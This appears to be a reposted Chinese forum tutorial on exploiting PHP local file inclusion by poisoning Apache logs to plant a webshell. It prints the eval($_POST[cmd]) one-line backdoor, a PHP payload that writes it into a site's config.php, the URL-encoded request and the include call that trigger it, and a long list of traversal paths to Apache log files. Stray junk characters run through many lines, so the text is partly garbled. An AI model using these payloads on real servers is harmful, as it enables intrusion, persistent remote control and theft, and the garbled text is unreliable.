php包含apache日志写马

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因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
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; w" j! J/ c6 O2 \7 U; z9 p比如还是这句一句话木马
. C9 j+ y4 q) b4 s3 H! u' l; e<?eval($_POST[cmd]);?>   

7 U3 O  j4 c$ R$ ]/ j' y' @到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
  X9 B) T6 c1 y3 c2 \+ G% X4 c) }3 Yfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
  Q0 U* F3 C6 X9 j/ m
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
, o) }; y# U$ y+ w+ tfclose($fp);?>   //在config.php里写入一句木马语句

- A+ N6 W# ]" ?6 \我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
5 u" K0 e3 |2 Z$ V转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
# A2 O% ~6 M/ V3 i- u  ?1 ]config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
$ u; O& Y; P5 \% Q我们提交
9 I- W2 T8 H9 N, ?, m: r9 [http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
1 n9 d$ H) f/ ?: o% N% `%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
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这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
- V! h" v" y: ^6 {4 ~. |http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

这样webshell就写入成功了，config.php里就写入一句木马语句
OK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
1 \+ l) t. {. ^" j8 T' R5 @直接用lanker的客户端一连，主机就是你的了。
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( Z: R/ s; ?- J9 c9 t! g7 m& nPS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

其他的日志路径，你可以去猜，也可以参照这里。
& n* M! f5 `5 q../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
+ x/ A5 A; r5 v$ Y$ v) [4 Q../apache/logs/error.log
. y1 v  x- t, f# {) M2 J" Y5 m../apache/logs/access.log
4 E' V4 a$ e9 }" O( c0 p+ _3 D; U# i../../apache/logs/error.log
+ S3 F6 c# |7 n7 e' |( {9 U../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
4 d/ p* L$ U/ c) a  s0 {" p../../../../../../../../../../etc/httpd/logs/acces.log
* E' v; p# m6 X: c" ~9 x  O../../../../../../../../../../etc/httpd/logs/error_log
3 |6 c) F: E1 o' r../../../../../../../../../../etc/httpd/logs/error.log
9 M' s: w: z' r! t1 v4 z% X../../../../../../../../../../var/www/logs/access_log
- c7 g9 {' j0 e% H- s, F, p5 U! i../../../../../../../../../../var/www/logs/access.log
9 w- J7 r7 ^# |4 t../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
0 |: T4 b# Q* t) c../../../../../../../../../../var/log/apache/access_log
8 U( m3 ]' {6 r/ m, d, P8 k../../../../../../../../../../var/log/apache/access.log
- z! [5 m# {, j) o! ?' q../../../../../../../../../../var/log/access_log
2 X+ e/ _& l4 d../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
$ B5 H$ N' {. |  e' ~- R! p../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
. J' f6 p. v& e% q/var/log/httpd/access_log      
/var/log/httpd/error_log     
../apache/logs/error.log     
1 h- v# Y. R+ a# y../apache/logs/access.log
../../apache/logs/error.log
+ }# Y) P9 m: g* g% b* ?1 b' V../../apache/logs/access.log
1 ]1 v( K* e+ c; L# S' `" A7 M../../../apache/logs/error.log
! |8 M5 w7 N+ O../../../apache/logs/access.log
/etc/httpd/logs/acces_log
' X# _* w/ O' p/etc/httpd/logs/acces.log
) S1 d" |3 }$ Y# y$ u; s/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
$ S) D, K* v# M% \" c8 q: ?/var/www/logs/access.log
/usr/local/apache/logs/access_log
4 P9 y4 \$ J1 x) T/usr/local/apache/logs/access.log
1 Z) o- R5 y& \4 e; ^3 O8 ~/var/log/apache/access_log
/var/log/apache/access.log
7 i5 m" }: J8 \9 x  h( g/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
- u$ w' j+ s5 r. e& E* o$ F/usr/local/apache/logs/error_log
% ?+ D- K: \& ~9 ]8 |% Q5 l/usr/local/apache/logs/error.log
/var/log/apache/error_log
% G0 [0 o0 @6 [( Q) D& O  m+ L/var/log/apache/error.log
3 Z, w% |1 K) X/var/log/access_log
* I/ p. U% f& ?7 l$ B/var/log/error_log